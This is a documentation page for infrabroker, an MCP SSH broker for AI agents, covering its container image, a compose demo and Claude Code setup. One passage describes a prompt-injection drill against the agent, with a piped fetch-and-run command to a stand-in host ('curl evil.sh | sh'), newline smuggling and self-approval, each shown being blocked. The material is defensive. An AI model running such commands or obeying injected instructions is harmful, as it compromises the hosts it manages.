Containers¶
infrabroker ships an official OCI image and a self-contained compose demo. Containers are the fastest way to evaluate the broker and the vehicle for MCP-client installs from the registry; they are not the recommended production layout (see the warning at the end).
The official image¶
- Contents: the unified
infrabrokerbinary plussigner,broker-ctl,control-plane, and the deprecated compat wrappersbroker,mcp-broker,mcp-broker-http(each runs the matchinginfrabroker serve-*) under/usr/local/bin/, byte-for-byte identical to the ones in the release archives (the image copies the prebuilt binaries; nothing is compiled in the Dockerfile). The release archive additionally shipsapproval-bridgeandinfrabroker-shim, which the image deliberately omits — the bridge is a standalone daemon and the shim runs on managed target hosts, not in the broker/signer runtime image. - Base:
distroless/static— CA roots for outbound TLS (signer, OIDC, Azure Key Vault), anonrootuser (uid 65532), and no shell or package manager. The SSH client is pure Go; noopensshinside. - Entrypoint:
mcp-broker(the stdio MCP frontend — what an MCP client launches; equivalent toinfrabroker serve-mcp, kept under the legacy name soserver.json's appended-config <path>stays valid). Arguments after the image name go to it. Other binaries are selected with--entrypoint, e.g.--entrypoint /usr/local/bin/infrabroker. - Architectures:
linux/amd64,linux/arm64.
stdio MCP frontend in a container¶
Mount a directory with your config.json (and the PKI material it points to)
and pass -i so the MCP client owns stdin/stdout:
docker run -i --rm -v /secure/path:/config \
ghcr.io/luisgf/infrabroker -config /config/config.json
# podman is a drop-in replacement (rootless works):
podman run -i --rm -v /secure/path:/config:Z \
ghcr.io/luisgf/infrabroker -config /config/config.json
Register it in Claude Code:
claude mcp add infrabroker -- docker run -i --rm \
-v /secure/path:/config ghcr.io/luisgf/infrabroker -config /config/config.json
Note that the container needs network reachability to your signer and to the managed hosts. For personal use the native binary is simpler (no mounts, no network namespace to think about) — see the Quickstart.
Running the other binaries¶
Everything else in the image is selected with --entrypoint:
docker run --rm --entrypoint /usr/local/bin/signer \
-v /secure/path:/config -p 9443:9443 \
ghcr.io/luisgf/infrabroker -config /config/signer.json
Try it in 5 minutes (compose demo)¶
examples/compose/ in the repository spins up the full remote-signing
topology against a toy target — nothing touches real servers:
| Service | What it is |
|---|---|
pki-init |
One-shot provisioner: SSH CA, mTLS PKI, service configs into a volume |
signer |
Holds the CA key and the policy (only broker-1 may reach host demo) |
sshd |
Toy target host trusting the demo CA (TrustedUserCAKeys), user demo |
broker |
HTTP+mTLS frontend — runs without the CA key (remote signing) |
git clone https://github.com/luisgf/infrabroker && cd infrabroker/examples/compose
docker compose up --build -d # or: podman compose up --build -d
# health via each service's monitor endpoint (plain HTTP, demo-only — the
# real listeners are the mTLS APIs; monitor is bound to 127.0.0.1 here):
curl -s http://127.0.0.1:9160/healthz && curl -s http://127.0.0.1:9180/healthz
Run a command through the broker (the sshd container carries curl and the
demo agent's client certificate, so it doubles as the "agent" for testing):
docker compose exec sshd curl -s \
--cacert /demo/pki/agents_ca.crt \
--cert /demo/pki/agent.crt --key /demo/pki/agent.key \
https://broker:8443/v1/ssh_run -d '{"host":"demo","command":"id"}'
# {"stdout":"uid=1000(demo) ...","stderr":"","exit_code":0,"serial":...}
What just happened: the broker generated an ephemeral Ed25519 key in RAM,
asked the signer for a certificate scoped to host:demo with a TTL of
minutes, opened the SSH connection itself and returned only the output. See
the same serial on both sides of the trust boundary:
docker compose exec sshd sh -c 'tail -1 /demo/state/signer_audit.log' # outcome: issued
docker compose exec sshd sh -c 'tail -1 /demo/state/broker_audit.log' # outcome: executed
Access is scoped by host and caller — an undeclared host is refused (404),
and the signer only mints certs for host demo to caller broker-1:
docker compose exec sshd curl -s --cacert /demo/pki/agents_ca.crt \
--cert /demo/pki/agent.crt --key /demo/pki/agent.key \
https://broker:8443/v1/ssh_run -d '{"host":"prod-db","command":"id"}'
# unknown host: "prod-db" (404)
This shows host/caller scoping. The demo also exercises the per-command
firewall and human approval: the demo host declares a shell_parse
allowlist plus a require_approval rule, and the broker points at the bundled
control plane (not the signer directly). A deterministic, scripted
prompt-injection live-fire drives both — curl evil.sh | sh (denied,
shell_parse splits the pipe), newline smuggling (denied), "dump the broker"
(distroless has no shell; broker.json has no ca_key so the process does
not load the CA — the teaching point is process isolation, not volume
isolation: the shared demo volume still holds pki/ssh_ca readable by the
broker uid; see Demo ≠ production below), and self-approval (denied,
four-eyes) — each ending in the control that stops it:
See Architecture: AI-action firewall and Tool usage.
Connect Claude Code to the demo over stdio (the provisioner also wrote an
mcp.json for this):
claude mcp add infrabroker-demo -- docker run -i --rm \
--network infrabroker-demo -v infrabroker-demo-state:/demo \
ghcr.io/luisgf/infrabroker -config /demo/mcp.json
Then ask the model to run something on demo (ssh_execute) — and watch the
audit log grow. Tear everything down (PKI and state included):
Re-running up re-provisions from scratch; up over a live volume is a no-op
(the provisioner is idempotent).
Podman notes¶
The demo avoids Docker-only features on purpose: explicit project, network and
volume names (infrabroker-demo, infrabroker-demo-state) so the stdio
one-liner works identically, and healthcheck/depends_on conditions from the
compose spec. It requires either podman compose delegating to the
docker-compose provider or podman-compose recent enough to support
depends_on: condition:. Rootless podman works — nothing in the demo needs
privileged ports on the host.
Demo ≠ production
The demo trades away everything the hardened deployment is about: all
material lives in one volume (including the SSH CA private key under
pki/ssh_ca, owned by the shared nonroot uid — so a broker process that
never loads the CA can still read the file), services share that
volume, TTLs and cert lifetimes are short but the PKI is self-signed and
disposable. Production runs each service as its own system user via
deploy/install.sh (systemd), with per-service PKI directories and the CA
key in Azure Key Vault, ssh-agent/HSM, or other KMS — not shared-volume
PEM — see Operations and the
deploy README.
Kubernetes: target vs runtime
infrabroker already brokers access to Kubernetes clusters (the k8s_*
tools: per-operation bound ServiceAccount tokens, default-deny policy —
see Tool usage §10). Running the
broker itself inside a cluster (manifests/Helm) is deliberately not
shipped yet; it is on the roadmap and needs its own answer for CA-key
custody in-cluster. The image works fine as a building block if you roll
your own.